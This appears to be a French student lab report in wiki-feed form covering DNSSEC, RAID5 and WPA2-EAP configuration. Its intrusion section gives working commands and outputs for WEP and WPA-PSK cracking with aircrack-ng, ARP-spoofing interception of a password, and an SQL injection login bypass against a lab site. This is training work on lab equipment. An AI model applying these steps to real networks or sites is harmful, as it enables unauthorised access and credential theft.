  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54705</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54705"/>
				<updated>2020-12-15T14:20:33Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
